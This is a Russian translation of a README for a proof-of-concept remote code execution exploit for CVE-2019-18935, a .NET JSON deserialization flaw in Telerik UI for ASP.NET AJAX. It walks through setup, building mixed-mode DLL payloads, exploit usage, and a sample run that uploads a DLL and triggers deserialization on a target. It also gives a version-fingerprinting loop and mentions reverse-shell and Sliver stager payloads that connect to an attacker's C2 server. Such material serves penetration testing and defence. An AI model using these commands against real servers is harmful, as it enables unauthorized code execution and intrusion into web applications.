
Эксплойт RCE для уязвимости десериализации JSON в .NET в Telerik UI для ASP.NET AJAX.
Эксплойт proof-of-concept для уязвимости десериализации JSON в .NET в Telerik UI для ASP.NET AJAX, позволяющий удалённое выполнение кода.
Telerik UI for ASP.NET AJAX — широко используемый набор UI-компонентов для веб-приложений. Он небезопасно десериализует JSON-объекты, что приводит к произвольному удалённому выполнению кода на базовом хосте. Дополнительная информация:
Вам потребуются Visual Studio и .NET Framework SDK для компиляции DLL-пейлоадов смешанного режима .NET с помощью build-dll.bat.
git clone https://github.com/noperator/CVE-2019-18935.git && cd CVE-2019-18935
python3 -m venv env
source env/bin/activate
python3 -m pip install -U pip
python3 -m pip install -r requirements.txt
Данный эксплойт использует логику шифрования из RAU_crypto. Класс RAUCipher внутри RAU_crypto.py зависит от PyCryptodome — замены PyCrypto (модуль более не поддерживается). PyCryptodome и PyCrypto создают проблемы при установке в одном окружении, поэтому наилучший способ удовлетворить эту зависимость — установить модуль в виртуальном окружении, как показано выше.
Укажите в строке 17 файла build-dll.bat путь к вашей установке Visual Studio.
set VSPATH=C:\Program Files (x86)\Microsoft Visual Studio\2019\Community\VC\Auxiliary\Build
$ python3 CVE-2019-18935.py -h
usage: CVE-2019-18935.py [-h] [-t] [-d] [-r FILENAME_REMOTE] [-s SMB_SERVER]
[-v UI_VERSION] [-n NET_VERSION] [-p PAYLOAD]
[-f FOLDER] -u URL
Exploit for CVE-2019-18935, a .NET JSON deserialization vulnerability in
Telerik UI for ASP.NET AJAX.
optional arguments:
-h, --help show this help message and exit
-t just upload a file
-d just deserialize
-r FILENAME_REMOTE remote payload name, for optional use with -d
-s SMB_SERVER remote SMB server, for optional use with -d
-v UI_VERSION software version
-n NET_VERSION .NET version
-p PAYLOAD mixed mode assembly DLL
-f FOLDER destination folder on target
-u URL https://<HOST>/Telerik.Web.UI.WebResource.axd?type=rau
Некоторые пейлоады (например, reverse-shell.c и sliver-stager.c) требуют установки полей HOST и PORT для указания вашего C2-сервера — не забудьте это сделать!
В среде Windows с установленной Visual Studio используйте build-dll.bat для генерации 32- и 64-битных DLL смешанного режима, которые будут использоваться в качестве пейлоада при десериализации. При необходимости можно указать целевую архитектуру CPU вторым аргументом CLI (например, x86).
build-dll.bat sleep.c
Передайте DLL, сгенерированную выше, в CVE-2019-18935.py. Скрипт загрузит DLL в каталог на целевом сервере (при условии, что веб-сервер имеет права на запись в этот каталог), а затем загрузит эту DLL в приложение через эксплуатацию небезопасной десериализации.
$ python3 CVE-2019-18935.py -v <VERSION> -p payloads/sleep-2019121205271355-x86.dll -u <HOST>/Telerik.Web.UI.WebResource.axd?type=rau
[*] Local payload name: sleep-2019121205271355-x86.dll
[*] Destination folder: C:\Windows\Temp
[*] Remote payload name: 1576142987.918625.dll
{'fileInfo': {'ContentLength': 75264,
'ContentType': 'application/octet-stream',
'DateJson': '1970-01-01T00:00:00.000Z',
'FileName': '1576142987.918625.dll',
'Index': 0},
'metaData': {'AsyncUploadTypeName': 'Telerik.Web.UI.UploadedFileInfo, '
'Telerik.Web.UI, Version=<VERSION>, '
'Culture=neutral, '
'PublicKeyToken=<TOKEN>',
'TempFileName': '1576142987.918625.dll'}}
[*] Triggering deserialization...
<title>Runtime Error</title>
<span><H1>Server Error in '/' Application.<hr width=100% size=1 color=silver></H1>
<h2> <i>Runtime Error</i> </h2></span>
...omitted for brevity...
[*] Response time: 13.01 seconds
В примере выше приложение ответило не менее чем через 10 секунд, что указывает на то, что DLL-пейлоад успешно вызвал Sleep(10000).
Как подробно описано в докладе DerpCon .NET Roulette (39:46), мы можем подобрать версию Telerik UI, указав только основную версию сборки Telerik.Web.UI (т.е. часть 2017 из полной строки версии 2017.2.503.40) при загрузке файла. Этот метод значительно сокращает пространство поиска по сравнению с перебором каждого конкретного релиза — и, как бонус, позволяет обнаруживать версии, даже не указанные в истории релизов. Подробнее о версионировании сборок .NET читайте на MSDN.
$ for YEAR in $(seq 2013 2018); do
echo -n "$YEAR: "
python3 CVE-2019-18935.py -t -v "$YEAR" -p /dev/null -u <HOST>/Telerik.Web.UI.WebResource.axd?type=rau 2>/dev/null |
grep -oE "Telerik.Web.UI, Version=$YEAR\.[0-9\.]+" ||
echo
done
2013:
2014:
2015:
2016:
2017: Telerik.Web.UI, Version=2017.2.503.40
2018:
Пользовательский пейлоад-стагер Sliver sliver-stager.c получает и выполняет шеллкод Sliver (стадию) от сервера Sliver (сервера стадирования), следуя протоколу стадирования Metasploit. Подробнее о работе читайте в заголовке исходного кода пейлоада.
Запустите сервер Sliver. Больше информации о настройке сервера здесь.